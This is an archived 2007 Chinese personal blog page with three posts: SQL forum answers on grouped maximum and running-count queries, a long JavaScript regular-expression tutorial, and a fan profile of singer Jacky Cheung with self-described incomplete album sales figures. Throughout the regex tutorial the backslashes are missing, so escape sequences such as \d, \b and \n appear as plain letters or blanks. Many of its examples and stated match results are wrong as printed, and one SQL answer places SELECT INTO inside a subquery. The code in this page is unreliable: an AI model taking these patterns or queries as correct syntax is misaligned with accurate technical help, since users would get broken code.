存档:2007年五月

一个好的sql

五月 29, 2007 | mysql | RSS 2.0

型如表:t_test
————————————–
id(int) cost(int)   des    Autoid(id)
————————————–
1         10        aaaa        1
1         15        bbbb        2
1         20        cccc        3
2         80        aaaa        4
2        100        bbbb        5
2         60        dddd        6
3        500        dddd        7
————————————–
要在其中取每一类id中间cost最大的所有纪录,很多网友都对此进行了讨论,对此,我提出一点自己的看法,
我认为用一条很难(对我而言)达到要求,同时也引出了一个问题,即:在SQL中定义自己的函数(/存储过程),达到特定的目的。具体对这个例子而言,可以这么写:

CREATE  PROCEDURE sp_test
AS
begin
SELECT * INTO #mytbl FROM t_test 

SELECT id, MAX(cost) AS max_cost 
    INTO #mytemp 
    FROM t_test
        GROUP BY id
        HAVING (COUNT(*) > 1) 
DELETE #mytbl FROM #mytemp, #mytbl WHERE #mytbl.id = #mytemp.id AND #mytbl.cost <> #mytemp.max_cost

select * from #mytbl
end

execute sp_test
其实 一句话就可以啊   为什么要这么烦,而且效率又不高  
select * from  t_test a,
 ( SELECT id, MAX(cost) AS max_cost 
    INTO #mytemp 
    FROM t_test
        GROUP BY id
        HAVING (COUNT(*) > 1)  )  b
where a.id=b.id and a.cost=b.max_cost

????????????????????????

2。人員名稱  外出時間               外出趟次
張三      2000-01-01 10:01:01   
張三      2000-01-01 13:01:01  
張三      2000-01-01 12:01:01  
張三      2000-01-02 09:01:01   
張三      2000-01-02 15:01:01  
張三      2000-01-02 16:01:01      
李四      2000-01-01 10:01:01   
李四      2000-01-01 11:01:01  

目標要求:
人員名稱  外出時間               外出趟次  //記錄某人在某天的第幾次外出
張三      2000-01-01 10:01:01       1
張三      2000-01-01 13:01:01       3
張三      2000-01-01 12:01:01       2
張三      2000-01-02 09:01:01       1
張三      2000-01-02 15:01:01       2
張三      2000-01-02 16:01:01       3
李四      2000-01-01 10:01:01       1
李四      2000-01-01 11:01:01       2

select a.name,a.dt,(select count(name) from tablename
  where name=a.name and year(dt)=year(a.dt) and month(a.dt) and day(dt)=day(a.dt) and dt<=a.dt) as ncount
from tablename a
order by a.dt

3.ID 名称
1   B
2   A
3   C
4   B
5   A
6   B
其中ID是主键,现在希望通过SQL查询得到以下结果
ID 名称 次数
1   B     1
2   A     1
3   C     1
4   B     2
5   A     2
6   B     3
其中”次数”是指以ID为顺序,名称是第几次出现。
望高手相助,200分相赠!
Select id,名称,
      (select count(id) from table1 where 名称=AAA.名称 and id<=AAA.id) as 次数 
From table1 AAA

没有评论 »

呕心沥血javascript 正则

五月 28, 2007 | js/web | RSS 2.0

Javascript经典正则表达式

三道测试题:

1, var str=“ abbbbacc”;

var rs=str.replace(“a”,”0”);   

(A)0bbbbacc (B)0bbbb0cc

2,var str=“ abbbbacc”;

var rs=str.replace(“/a/”,”0”);   

(A)0bbbbacc (B)0bbbb0cc

3,var str=“ abbbbacc”;

var rs=str.replace(“/a/g”,”0”);   

(A)0bbbbacc (B)0bbbb0cc

附注:String对象的replace方法签名为:

replace(regx,str)

一,概述

1,正则表达式,可以说是任何一种编程语言都提供的机制,它主要是提供了对字符串的处理能力。

2,正则表达式在页面处理中的使用场景:

1)表单验证。验证某些域符合某种规则,例如邮件输入框必须输入的是邮件、联系电话输入框输入的必须是数字等等

2)处理DOM模型。例如通过表达式定位DOM中的一个对象或一系列对象,一个例子就是定位id属性中含有某个特殊字符的div对象。

3)纯编程逻辑。直接用于编程的逻辑之中。

3,说明:本部分所举的正则表达式的代码片断,都是经过测试的,但有一点需要注意,对于换行的字符串的定义,我们在表述时使用的是类似如下的形式:

var str=“It’s is

 a  beautiful city”;

这种形式直接写在JS代码中是错误的,那如何获取具有换行的字符串呢?简单的办法:在textarea中输入文本并换行,然后将该值赋给JS变量即可。例如:

var str=document.forms[0].mytextarea.value;         

二,语法与使用

1,定义正则表达式

1)定义正则表达式有两种形式,一种是普通方式,一种是构造函数方式。

2)普通方式:var reg=/表达式/附加参数

表达式:一个字符串,代表了某种规则,其中可以使用某些特殊字符,来代表特殊的规则,后面会详细说明。

附加参数:用来扩展表达式的含义,目前主要有三个参数:

g:代表可以进行全局匹配。

i:代表不区分大小写匹配。

m:代表可以进行多行匹配。

上面三个参数,可以任意组合,代表复合含义,当然也可以不加参数。

例子:

var reg=/a*b/;

var reg=/abc+f/g;

3)构造函数方式:var reg=new RegExp(“表达式”,”附加参数”);

其中“表达式”与“附加参数”的含义与上面那种定义方式中的含义相同。

例子:

var reg=new RegExp(“a*b”);

var reg=new RegExp(“abc+f”,”g”);

4)普通方式与构造函数方式的区别

普通方式中的表达式必须是一个常量字符串,而构造函数中的表达式可以是常量字符串,也可以是一个js变量,例如根据用户的输入来作为表达式参数等等:

var reg=new RegExp(document.forms[0].exprfiled.value,”g”);

2,表达式模式

1)表达式模式,是指表达式的表达方式与样式, 即 var reg=/表达式/附加参数 中的“表达式”怎样去描述?

2)从规范上讲,表达式模式分为简单模式和复合模式。

3)简单模式:是指通过普通字符的组合来表达的模式,例如

var reg=/abc0d/;

可见简单模式只能表示具体的匹配。

4)复合模式:是指含有通配符来表达的模式,例如:

var reg=/a+b?w/;

其中的+、?和w都属于通配符,代表着特殊的含义。因此复合模式可以表达更为抽象化的逻辑。

下面我们着重说一下复合模式中各个通配符的含义及其使用。

5)复合模式中特殊字符的讲解:

1>:在许多编程语言里面被用作转义符,一般来说

符号后面如果跟的是普通字符c,那么c就代表特殊的含义,例如n本来代表字符n,但就代表换行。

符号后面如果跟的是特殊字符c,那么c就代表普通字符c,例如一般用作转义符,但则调表普通字符。

Javascript的正则表达式中的用法与上面相同,只是不同的编程语言,特殊字符表可能不太一样罢了。

2>^:匹配输入字符串的起始端,如果是多行匹配,即表达式的附加参数中含有m,则也在一个换行符后匹配。

例子:/^B/匹配 “Bab Bc ”中的第一个B

例子2:/^B/gm匹配

          “Badd B

          cdaf

          B dsfB”

          中的第一行第一个B,第三行中的第一个B

         

3>$:匹配输入字符创的尾端,如果是多行匹配,即表达式的附加参数中含有m,则也在一个换行符前匹配。

与^的用法相反。

例子:/t$/匹配“bat”中的t,但是不匹配“hate”中的t

例子2:/t$/匹配

“tag at

bat”

中第一行的最后一个t和第二行的t。

4>*:匹配前一个字符0次或多次。

例子:/ab*/匹配“dddabbbbc”中的“abbbb”,也匹配“ddda”中的“a”

5>+:匹配前一个字符1次或多次。

例子:/ab+/匹配“dddabbbbc”中的“abbbb”,但不匹配“ddda”

与后面的{1,}(原型:{n,})的用法类似

6>?:?的用法比较特殊,一般来说它用来对前一个字符做0次或1次匹配,但是它有另外两种特殊的用法:

如果紧跟在*、+、?和{ }之后,则表示原始匹配的最小次数匹配,例如:

/ba*/本来匹配“bbbaaaa”中的“baaaa”,但是/ba*?/则匹配“bbbaaaa”中的“b”(因为*表示0次或多次匹配,而加?应该表示最少次数匹配,即0次匹配)。

同理:/ba+?/则匹配“baaaa”中的“ba”。

作为语法结构符号,使用于前置断言中,即后面要说到的x(?=y)和x(?!=y)

7>.:小数点中的“.”号,匹配任何一个单独的字符,但是换行符除外。

标准中总共有哪些字符?请参考:字符集

例如:/a.b/匹配“acbaa”中的“acb”,但是不匹配“abbb”。

8>(x):表示匹配x(并非特指字符x或者特指一个字符,x表示一个字符串),而且匹配会被记住,在语法中这种()被称为“capturing parentheses ”,即捕捉用的小括号。

匹配会被记住,是因为在表达式提供的函数中,有些函数返回一个数组,该数组会保存所匹配的所有字符串,例如exec()函数。

另外还要注意()中的x被记住的前提是匹配x。

例子1:

var regx=/a(b)c/;

var rs=regx.exec(“abcddd”);

从上面可以看出,/a(b)c/匹配“abcddd”中的“abc”,因为()的原因,b也会记录下来,因此rs返回的数字内容为:

{abc,b}

例子2:

 var regx=/a(b)c/;

 var rs=regx.exec(“acbcddd”);

 rs返回null,因为/a(b)c/不匹配“acbcddd”,所以()中的b不会被记录下来(尽管字符串中含有b)

 

9>(?:x):匹配x,但不会记住x,这种格式中的()被称为“non-capturing parentheses ”,即非捕捉用的小括号。

例子:

var regx=/a(?:b)c/;

var rs=regx.exec(“abcddd”);

从上面可以看出,/a(?:b)c/匹配“abcddd”中的“abc”,因为(?:)的原因,b不会记录下来,因此rs返回的数字内容为:

{abc}

10>X(?=y):匹配x,仅当后面紧跟着y时。如果符合匹配,则只有x会被记住,y不会被记住。

例子:

var regx=/user(?=name)/;

var rs=regx.exec(“The username is Mary”);

结果:匹配成功,而且rs的值为{user}

11>X(?!y):匹配x,仅当后面不紧跟着y时。如果符合匹配,则只有x会被记住,y不会被记住。

例子:

var regx=/user(?!name)/;

var rs=regx.exec(“The user name is Mary”);

结果:匹配成功,而且rs的值为{user}

例子2:

var regx=/d+(?!.)/;

var rs=regx.exec(“54.235”);

结果:匹配成果,rs的值为{5},不匹配54是因为54后面跟着“.”号,当然235也匹配,但是由于exec方法的行为,235不会被返回

12>x|y:匹配x或y。注意如果x和y都匹配上了,那么只记住x。

例子:

var regx=/beijing|shanghai/;

var rs=regx.exec(“I love beijing and shanghai”);

结果:匹配成功,rs的值为{beijing},虽然shanghai也匹配,但不会被记住。

13>{n}:匹配前一个字符的n次出现。

n必须是一个非负数,当然如果是一个负数或小数也不会报语法错误。

例子:

var regx=/ab{2}c/;

var rs=regx.exec(“abbcd”);

结果:匹配成功,rs的值为:{abbc}。

14>{n,}:匹配前一个字符的至少n次出现。

例子:

var regx=/ab{2,}c/;

var rs=regx.exec(“abbcdabbbc”);

结果:匹配成功,rs的值为:{abbc}。注意为什么abbbc也符合条件为什么没有被记住,这与exec方法的行为有关,后面会统一讲解。

15>{n,m}:匹配前一个字符的至少n次最多m次的出现。

只要n与m为数字,而且m>=n就不会报语法错误。

例子:

var regx=/ab{2,5}c/;

var rs=regx.exec(“abbbcd”);

结果:匹配成功,rs的值为:{abbbc}。

例子2:

var regx=/ab{2,2}c/;

var rs=regx.exec(“abbcd”);

结果:匹配成功,rs的值为:{abbc}。

例子3:

var regx=/ab(2,5)/;

var rs=regx.exec(“abbbbbbbbbb”);

结果:匹配成功,rs的值为:{abbbbb},这说明,如果前一个字符出现多于m次,则只匹配m次。另外:

var regx=/ab(2,5)c/;

var rs=regx.exec(“abbbbbbbbbbc”);

结果:匹配失败,rs的值为:null,为什么匹配失败,因为b多于5个则b(2,5)会匹配前5个b,,而表达式/ab(2,5)c/中b后面是c,但字符串中5个b之后还是b所以会报错。

16>[xyz]:xyz表示一个字符串,该模式表示匹配[]中的一个字符,形式上[xyz]等同于[x-z]。

例子:

var regx=/a[bc]d/;

var rs=regx.exec(“abddgg”);

结果:匹配成功,rs的值为:{abd}

例子2:

var regx=/a[bc]d/;

var rs=regx.exec(“abcd”);

结果:匹配失败,rs的值为:null,之所以失败,是因为[bc]表示匹配b或c中的一个,但不会同时匹配。

17>[^xyz]:该模式表示匹配非[]中的一个字符,形式上[^xyz]等同于[^x-z]。

例子:

var regx=/a[^bc]d/;

var rs=regx.exec(“afddgg”);

结果:匹配成功,rs的值为:{afd}

例子2:

var regx=/a[^bc]d/;

var rs=regx.exec(“abd”);

结果:匹配失败,rs的值为:。

18>[b]:匹配退格键。

19>b:匹配一个词的边界符,例如空格和换行符等等,当然匹配换行符时,表达式应该附加参数m。

例子:

var regx=/bc./;

var rs=regx.exec(“Beijing is a beautiful city”);

结果:匹配成功,rs的值为:{ci},注意c前边的空格不会匹配到结果中,即{ ci}是不正确的。

20>B:代表一个非单词边界。

例子:

var regx=/Bi./;

var rs=regx.exec(“Beijing is a beautiful city”);

结果:匹配成功,rs的值为:{ij},即匹配了Beijing中的ij。

21>cX,匹配一个控制字符。例如, cM 匹配一个 Control-M 或

回车符。 x 的值必须为 A-Z 或 a-z 之一。否则,将 c 视为一

个原义的 ’c’ 字符。(实际的例子还需补充)

21>d:匹配一个数字字符,等同于[0-9]。

例子:

var regx=/userd/;

var rs=regx.exec(“user1”);

结果:匹配成功,rs的值为:{user1}

22>D:匹配一个非数字字符,等同于[^0-9]。

例子:

var regx=/userD/;

var rs=regx.exec(“userA”);

结果:匹配成功,rs的值为:{userA}

23>f:匹配一个换页符。

24>:匹配一个换行符。因为是换行符,所以在表达式中要加入m参数。

例子:

var regx=/abc/m;

       var str=“a

               bc”;

       var rs=regx.exec(str);

       结果:匹配成功,rs的值为:{  },如果表达式为/abc/,则不会被匹配,因此在一般的编辑器中一个”Enter”键代表着“回车换行”,而非“换行回车”,至少在textarea域中是这样的。      

25>:匹配一个回车符

26>s:匹配一个空格符,等同于[ ftv 

].

例子:

var regx=/si/;

var rs=regx.exec(“Beijing is a city”);

结果:匹配成功,rs的值为:{ i}

27>S:匹配一个非空格符,等同于[ ^ftv 

].

例子:

var regx=/Si/;

var rs=regx.exec(“Beijing is a city”);

结果:匹配成功,rs的值为:{ei}

28>t:匹配一个tab

例子:

var regx=/atb/;

var rs=regx.exec(“a bc”);

结果:匹配成功,rs的值为: {a       bc}

29>v:匹配一个竖向的tab

30>w:匹配一个数字、_或字母表字符,即[A-Za-z0-9_ ]。

例子:

var regx=/w/;

var rs=regx.exec(“$25.23”);

结果:匹配成功,rs的值为:{2}

31>W:匹配一个非数字、_或字母表字符,即[^A-Za-z0-9_ ]。

例子:

var regx=/w/;

var rs=regx.exec(“$25.23”);

结果:匹配成功,rs的值为:{$}

32>:注意不是,这里n是一个正整数,表示匹配第n个()中的字符。

例子:

var regx=/user([,-])group1role/;

var rs=regx.exec(“user-group-role”);

结果:匹配成功,rs的值为:{user-group-role,-},同样对user,group,role的匹配也是成功的,但像user-group,role等就不对了。

33>0:匹配一个NUL字符。

34>xhh:匹配一个由两位16进制数字所表达的字符。

35>:匹配一个由四位16进制数字所表达的字符。

3,表达式操作

1)表达式操作,在这里是指和表达式相关的方法,我们将介绍六个方法。

2)表达式对象(RegExp)方法:

1>exec(str),返回str中与表达式相匹配的第一个字符串,而且以数组的形式表现,当然如果表达式中含有捕捉用的小括号,则返回的数组中也可能含有()中的匹配字符串,例如:

var regx=/d+/;

var rs=regx.exec(“3432ddf53”);

返回的rs值为:{3432}

var regx2=new RegExp(“ab(d+)c”);

var rs2=regx2.exec(“ab234c44”);

返回的rs值为:{ab234c,234}

另外,如果有多个合适的匹配,则第一次执行exec返回一个第一个匹配,此时继续执行exec,则依次返回第二 …

没有评论 »

张学友

五月 27, 2007 | 心情杂记 | RSS 2.0

       原名 : 张学友
艺名 : 张学友
英文名字 : Jacky
花名 : 七仔
出生日期: : 1961-7-10
星座 : 巨蟹座
生肖 : 牛
身高 : 1.76m
体重 : 145磅
学历 : 预科
婚姻状况 : 已婚
家庭成员 : 爸妈、一哥、一妹、太太及一女儿
排行 : 第二
常阅读的书 : 佛书及武侠小说
希望到的地方 : 太多
喜爱的歌手 : Barry Manilow / Beatles / Deep Purple / 谭咏麟
喜爱的艺人 : 周润发
尊敬的人物 : 父母
喜爱的颜色 : 白色
喜爱的电影 : 闪灵
喜爱的食物 : 甜品
喜爱的地方 : 太多
难忘的事情 : 获全港十八区业余歌唱比赛冠军(1984) ★ 当时参赛歌曲 : 大地恩情
对事业的自我期许 : 再做好一点
人生座右铭 : 对人随缘 、 对事随心 ★ 人生目标 : 做一个「好」人
那条疤痕,是小的时候,和他哥哥玩警察抓贼的时候,他哥哥把一把菜刀扔过去刚好打的学友的脸上,幸好没打到眼睛!学友小时候很喜欢当警察,所以他就扮警察,哥哥就扮坏人!唉!不过,那疤痕更带给人神秘感!一下就让人看的到,也证明他不会刻意去装扮外表!
****学友历年唱片的销量数字(不完全统计)******
1985-04 《Smile/微笑》 香港销量20万张
1985-12 《Amour/遥远的她》香港销量20万张
1986-05 《情无四归》港台销量10万张
1986-10 《相爱》香港销量15万张
1987-04 《初吻/炸弹》香港销量10万张
1987-05 《在我心深处》香港销量15万张
1987-06 《Jacky》香港销量5万张
1987-09 《张学友87演唱会》香港销量10万张
1988-01 《意乱情迷》香港销量10万张
1988-03 《昨夜梦魂中》香港销量2万张
1989-04 《给我亲爱的》香港销量12万张
1989-07 《丝丝记忆情歌精选》香港销量15万张
1989-12 《只愿一生爱一人》总销量超过80万张
1990-02 《似曾相识》港台销量 20万张
1990-07 《梦中的你》香港销量12万张
1991-01 《情不禁》 总销量超过80万张
1991-08 《一颗不变心》总销量超过70万张
1991-12 《爱你多一些精选》总销量超过60万张
1992-01 《张学友91演唱会》香港销量10万张
1992-05 《真情流露》总销量超过100万张
1992-11 《爱火花》总销量超过100万张
1993-03 《吻别》总销量超过400万张
1993-07 《我与你》总销量超过120万张
1993-11 《等你等到我心痛》总销量超过60万张
1993-12 《祝福》总销量超过350万张
1994-01 《学与友93演唱会》总销量超过30万张
1994-05 《饿狼传说》总销量超过120万张
1994-08 《偷心》总销量超过200万张
1994-12 《这个冬天不太冷》总销量超过130万张
1995-03 《一生跟你走作品辑》港台销量10万张
1995-04 《真爱新曲+精选》总销量超过250万张
1995-06 《过敏世界》总销量超过100万张
1995-09 《拥友》总销量超过120万张
1995-11 《三年两语》总销量超过30万张
1996-01 《友学友95演唱会》总销量超过30万张
1996-02 《情缘十载演唱会》总销量超过30万张
1996-04 《爱与交响曲》总销量超过120万张
1996-06 《忘记你我做不到》总销量超过300万张
1997-01 《不老的传说》总销量超过150万张
1997-08 《想和你去吹吹风》总销量超过250万张
1997-09 《雪,狼,湖》总销量超过60万张
1998-04 《友情歌岁月精选》港台销量超过20万张
1998-06 《释放自己》总销量超过60万张
1998-10 《不后悔》总销量超过80万张
1999-01 《有个人》总销量超过50万张
1999-05 《99有个人演唱会》总销量超过30万张
1999-11 《走过1999》总销量超过100万张
2000-01 《Jacky Cheung 15》 港台销量20万张
2000-07 《当我想起你》总销量超过30万张
2000-12 《Touch Of Love》总销量超过70万张
2001-05 《天下第一流》总销量超过30万张
2001-09 《热》总销量超过30万张
2001-10 《903拉阔演唱会》港台销量超过10万张
2002-01 《学友精选》港台销量超过10万张
2002-10 《他在那里》总销量超过40万张
2003-06 《音乐之旅Live演唱会》总销量超过40万张
2004年《梦如人生》总销量超过30万张
2004年《黑与白》总销量超过30万张
2005年《雪狼湖》国语专辑总销量超过30万张
另外:大陆1986年发行的《smile/爱慕》销量超过40万张,1995年发行的《你每句说话》发行量超过30万张,1996年发行的《过客》销量超过30万张。
共计超过4346万张
说明:以上的销售数字为不完全统计,有的只有某一地区的销售数字,所以我在标明销售量的时候特意写上“超过”二字,相信学友的具体销售总量肯定会超过4346万张。

如果是按刚才这个4000多万的版本,很多是只计香港或台湾的销量,那么台湾那么多台湾版和内地那么多引进版跑哪去了?
还有一些日韩新马等学友也很受欢迎的地区的销量跑哪去了?世界范围内华人的销量跑哪去了?

我还听说引进版以前往往是不计入销量的,现在也难讲。那么本人抽屉里那么多磁带算什么?大家那么多写上“XX音像出版社引进的”的正版CD又算什么?

所以我看4千多万和6千多万两个版本都不准确。

有一个可信度较高的说法
华人单张国语唱片销量最高的是张学友的 吻别 400多万张

单张国语唱片销量最高的是张学友的 真情流露 40多万张(N多年前的香港地区销量),也许全球销量如开头的这个资料所说的超过100万张吧。反正不论全球销量如何,作为粤语唱片在香港地区的销量最高就肯定是全球销量最高的了。
但也有说法梅艳芳有张粤语唱片过40万的,也不知是否可靠

华人歌手唱片总销量第一据说是邓丽君,虽然具体很难考证,但可信度还是很高的。至于是否真的过亿就不清楚了,也许吧。
第二就是学友了,即使按4000多万的这个最低说法。

销量问题的环境障碍在于
大陆地区:
以前我们买磁带可能也计也销量的,而我们一般是买正版磁带的,不过10元一盘,而盗版磁带与正版磁带的比例不是那么夸张,而且价格差也不大,太便宜的盗版磁带就不能听了
后来我们不买磁带了改为买CD,而当时连引进版CD也特贵,盗版却只要几块钱理所当然正版销量下降了
后来CD便宜些了,却更有网络传播的问题,所以现在唱片业更难了

港台地区:
综乐方式分散化,人们除听歌外多了许多娱乐方式,这点内地也一样
盗版比以前更严重,经济发展速度却与之未成比例
网络传播不逊于内地,甚至至少他们的网络硬件设施更好
还有就是,青少年未必挣钱时却更敢于在买唱片上花钱,而这个年龄段的歌迷很大一部分偏好新生代歌手的,这一点内地也差不多

而学友唱片销量下降的内因
风格多元化,喜欢尝试新曲风。友迷的口味也不同,但我认为近年他专辑的质量与过去大体相当,只是主流歌少了,容易大红的歌少了。取而代之是一些不易一听种情但还比较耐听的,或是品质很高但不像以前有些歌旋律那么上口容易传唱的。
学友喜欢尝试更丰富的及非主流的音乐类型,会影响销量。可是上口的主流歌他已经唱过无数曲了,若继续不改变路线我也喜欢,但追求是无止境的,他想打开更广阔的天空,不能只困于销量的数字游戏之中,这是鱼和熊掌的问题,我想他的心情我们是可以理解的。

以这几年他销量上最失望的国语大碟“学友热”举例,是我极喜爱的一张碟,为什么却卖得差?1.封面做得不好看2.第一主打歌是“热”,比较另类,不易流行。3.唱片整体水平高却缺少一首顶梁的第一主打,let me go是主流情歌,可是和以往的主流情歌比起来逊色点,有点慢,也不易最快速上口,歌词很落俗却也水平一般,即使仔细欣赏时很让人投入其中。我真的受伤了很受欢迎,可是是个很自我感觉的小调。如果这都不算爱是意外的惊艳,但只是不经意地玩味儿而已,真正拿来做第一主打反倒不行。结果不是我要的结果勉强还行,可是没有重点宣传它,也许是吃了版权官司的原因。
当然即使如此“学友热”这么好的一张碟却销量那么差我总觉得还有别的原因,但不清楚就不多说了。

而后来一张国语大碟“他在那里”,销量情况好些,就是因为有了咖啡和礼物。虽然总体水平和上一张差不多,甚至我自己更喜欢“学友热”。当然,如果拿咖啡或礼物做专辑名会卖得更好。只是现在学友不会拿礼物这种翻唱歌做主打了,而用咖啡这个小家子气的名词做专辑名不够大气,虽然很多歌手会这样做,但学友的专辑不会,回想一下他的专辑名基本都是比较大方的。

还有一个内原是在歌曲来源上
1.现在学友极少会去翻唱了,并不代表脱离了翻唱歌就肯定不行,因为95-97年他基本离开翻唱却一直大卖,但这也是一个原因
2.另外现在华人歌坛的创作力量真是很可怜,香港更是惨,台湾是三十步笑百步。一些创作人多写一些给新生代歌手唱的给小孩子听的歌,估计不少学友也看不上。还好学友自己可以多写点歌也许在一定程度上能自救
3.学友也不再把粤语专辑里的歌换成国语再出唱片,尽管我不反对他这样做

我唯一要批评他的就是出碟太慢了,就算我语重了还是要批评,上次见当他面时看他那么疲惫我没忍心提,害我头发都等白了。前面的黑与白只得几首新歌,雪狼湖是粤语改过来的,如果爱里只得四首,其中两首旋律还是一样的。一张国语大碟要从02年等到06年……

总之,学友怎么选歌路,只要是真正的歌迷都会支持也并也同样喜欢他的新作,而唱片销量到底是怎么统计的,引进版的东西到底算不算销量?这里面有中国特色的复杂因素,这个问题,还是哪位懂行的人士知道的指点一下吧,让我们长长见识

我们自己要做的,就是坚决支持学友的正版,和尽量抵制关于学友的盗版,在还没买而能够买到的情况下抵制网络下载他的东西。

如果不是盗版,如果不是网络免费传播太厉害,(其实这些都怪法律不健全,这个问题国外就能靠立法从很大程度上解决,也许唱片公司网络销售也是趋势,不过是以后的事了)
虽然把盗版和下载的数字如换成正版来估计着统计是个骇人的数字,但因为经济规律,下载的经济成本接近零,盗版所付的钱也只是正版的几分之一,那么如把下载的去除掉,把盗版的数字的几分之一换算为正版的量也是巨大的。因为盗版的总是比正版多N倍,两岸三地尤以海峡两岸为甚,海峡两岸尤以内地为甚!
如此,我认为销量是可以翻几翻的。而邓丽君那时代没这么严重的问题,所以若这世道正常些,学友理应是总销量的NO.1



其实,销量问题有的更深层次根本原因
那就是由于汉语在当今世界上的相对势微和我们这个曾经拥有千年辉煌的伟大民族现在却在经济和文化体制上的落后的不相称地位,其改观还得有一个过程,但是,对于作为中国人的每一个个体来说,不能只靠一个等字,正如唱片销售的终端还得是一张一张地买一样,未来怎样,还得看我们这些人一个个地在做些什么。当我们下了网回到现实生活,心里面有没有装着过国家和民族,在我们欣赏学友歌唱以外的时间里,心里面还有没有装着他。

一)一千个伤心的理由———“苦”是音乐的里程

苦,是人生的历练。最招人疼的往往是受苦的人、苦而奋发的人。

张学友高中毕业后曾先后任职于香港贸易发展局和国泰航空公司。由于不满小职员的单调生活,学友感到失落和惆怅。1984年他参加了“全港十八区业余歌唱大赛”,凭一曲《大地恩情》,由一万多名参赛者中脱颖而出,夺得冠军。宝丽金唱片公司对张学友的歌艺欣赏非常,与之签约为旗下歌手,全力推荐这位乐坛明日之星。从他的第一张粤语专辑《SMILE/微笑》开始,张学友开始了他的星路历程。8个月后,他再次推出专辑《AMOUR/遥远的她》,而且备受好评。

但是,学友的出道却有那么一点点生不逢时。八十年代中期,正是谭咏麟和张国荣“杀”得不可开交的时期。张学友的唱功不是不精湛,声线也不是不迷人,可是在谭咏麟、张国荣两颗巨星的掩映下,任他再出色,也耀不到你的眼睛。曾几何时,张学友也一度低迷,爱上酗酒,留连夜店,惹是生非。1988年更因一些负面新闻形象大损,在出席某活动时竟然一出场就嘘声四起。后来,学友再次奋发图强,为了转变对自己极为不利的处境,他努力戒酒,调整心态从头再来,之后才逐渐火起来。在这个存在着众多靠脸蛋、靠耍酷、靠卖弄噱头、靠炒作的青春偶像的圈子里,他只是靠他的歌声证实他的实力。我们不能称他为青春偶像,因为他有着青春偶像们所不具备的演唱实力。也正是因为他的不再青春,他曾经被台下的观众高呼“退休”。一路走来,就如同荷马叙事诗《奥德赛》中的主人公尤利西斯的长途回乡之旅,充满了挑战与艰辛。张学友凭着他的毅力披荆斩棘,成就了这一段光辉的旅程。但是,其中的滋味,也只是“如鱼饮水,冷暖自知”了。

(二)一颗不变心———“淡”是乐观态度

执着与恒久最有资格与爱相依。

面对事业的起起伏伏,跌跌宕宕,张学友似乎看得很通透。他总是以平常心去面对,用淡然的态度处之。在经历过的日子里,他一直在积累着过去,思考着未来,寻找着生活的意义。家人的支持和责难,朋友的鼓励和伤害,歌迷的留下及离去,公司的吹捧和忽视,大众的喜爱和厌恶,上天的眷顾和唾弃……成就了今天的学友。他把自己比作一只将要破茧而出的飞蛾,他说:“今天的我不怕面对失败,因为我知道他日我必定会成功。我若手握成功,不会感到骄傲,因为我知道它将挫败我。”“今天我不怕面对黑暗和未知的将来,因为我知道我将从它身上学习到更多,从而带我到更新更辽阔的空间。我知道最终我将像飞蛾般,扑向光明,进入永恒,那又何惧,我并不孤独。因为某年,某月,某日,某地的某一刻,我曾和你同在,感谢你教给我的!”

经历了迷失的阶段,张学友的收获不只在名利的范畴,更重要的是思想上的磨练。现在的张学友只是坚持唱好他的歌。对于他的事业,他说,他最大的心愿就是能够唱到70岁!

(三)天下第一流———“甜”是收获的心情

成功是你的,收获是我们的。

虽然经历了不少挫折,但是是金子就总会发光的。从1984年出道至今,张学友已经推出了数十张专辑,从1985年的《月亮湾》、《情已逝》到2000年的《当我想起你》、《一生一火花》,他以他那富有磁性的歌声伴随着我们这一代年轻人成长。他的《吻别》,《情网》,《忘记你我做不到》等都是我们琅琅上口的经典歌曲。所以有人说:“只要有风吹过的地方,就有张学友的歌声;只要有爱情,就有张学友的歌声陪伴你。”在数十年的演艺生涯中,张学友用他至真至情的声音和炉火纯青的手法演绎了一首又一首的经典情歌。张学友将他生命中所有的起伏跌宕,都化成了穿透人心的音乐力量,在人们心中熊熊燃烧。

一直以来,张学友都是以他浓烈的声音激情拥抱群众,他的歌总是从感觉到内心一气呵成,给听众带来心灵的震撼。尽管学友的歌有各种不同的类型,但是他淋漓尽致的表现功力总是能够把每一首情歌的独特风格表现出来。张学友以其最擅长而又极富感染力的唱腔,将《吻别》、《等你等到我心痛》、《情网》等歌曲仿若忏悔般深刻的伤痛及无奈,一波又一波地推进听者的心中,成为多少人深夜里的拭泪毛巾。对于《夕阳醉了》、《想和你去吹吹风》、《祝福》这些内敛中带着极致的汹涌澎湃的感情的歌曲,学友运用其浑厚深刻的嗓音,完全真实地呈现了歌曲中蕴涵的炽热的感情。而在演绎像《头发乱了》、《饿狼传说》这样的快歌时,张学友用他轻快奔放热烈的演唱方式,配合歌曲的气势澎湃的节奏,也让人沉溺其中,无法抽离。

(四)头发乱了———“辣”的舞台风范

不管是歌艺还是舞台表演,张学友都一直在努力着。在商业社会中艺人需要练就的,他都去努力,比如跳舞。回顾张学友过去的十几年,我们会发现以前他只会站着“干唱”,而渐渐地比较会跳舞,也能够驾轻就熟地制造舞台气氛、很好地与观众沟通了。为了学好跳舞,他曾经专门请来老师为他编舞。

对于演唱会,他认为最难控制的是现场气氛,但是学友的努力是成功的。现在他在演唱会上的一举手一投足总能引起听众的热烈回应。这次的世界巡回演唱会,除了近乎完美的舞台灯光、音响、舞台效果,张学友华丽的舞步也是整场舞台气氛不可或缺的一部分,同时也是整场演唱会的一个亮点。不论是爵士舞、现代舞还是充满异域风情的印度舞,张学友潇洒的舞步都让在场的观众大吃一惊。对椅子、水瓶等新鲜道具的应用也让人感觉到了动感劲舞中的新颖编排。现场张学友每一次不经意的扭腰、提臀、摆胯,都会令在场的歌迷们尖叫不已。张学友一连串全情投入的劲辣热舞使整个舞台动感十足,也让台上的他更增添了一份成熟男人的热烈与妖媚。四十男人,不易呀?

(五)不想这是场戏———“电”是心灵的触动

